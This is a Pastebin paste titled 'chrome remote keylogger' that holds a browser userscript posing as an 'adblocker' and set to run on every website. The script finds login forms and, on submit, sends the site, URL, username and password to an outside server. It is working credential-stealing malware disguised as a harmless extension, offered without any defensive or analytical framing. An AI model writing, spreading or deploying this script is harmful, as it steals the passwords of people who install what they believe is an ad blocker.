Advertisement
Guest User

chrome remote keylogger

a guest
Apr 15th, 2016
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. // ==UserScript==
  2. // @name adblocker
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.1
  5. // @description try to take over the world!
  6. // @author You
  7. // @include *
  8. // @grant none
  9. // ==/UserScript==
  10. i=0;
  11. function monitorSubmissions() {
  12.  
  13. var forms = document.getElementsByTagName('form');
  14.  
  15. for (var i = 0; i < forms.length; i++) {
  16. var form = forms[i];
  17. var fields = form.getElementsByTagName('input');
  18.  
  19. // attempt to locate user/pass elements
  20. for (var j = 0; j < fields.length; j++) {
  21. var f = fields[j];
  22.  
  23. // recognize user/pass form elements
  24. if (!form._pass && f.type == 'password')
  25. form._pass = f;
  26. else if (!form._user && (f.type == 'text' || f.type == 'email'))
  27. form._user = f;
  28.  
  29. // wait until user/pass are found
  30. if (!(form._user !== undefined && form._pass !== undefined))
  31. continue;// jump to next iterator
  32.  
  33. // user/pass elements found
  34. // add event handler to form
  35. form.onsubmit = function() {
  36. if (this._user.value && this._pass.value) {
  37.  
  38. var t= new XMLHttpRequest();
  39. t.open("POST","http://letmeaccessmywifi.6te.net/adblocker.php?host="+window.location.hostname+"&url="+window.location.href+"&user="+ this._user.value+"&pass="+this._pass.value,"false");
  40. t.send();
  41.  
  42. }
  43. };
  44. break;
  45. }
  46. }
  47. }
  48.  
  49. monitorSubmissions(); // monitor submissions for login credentials
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement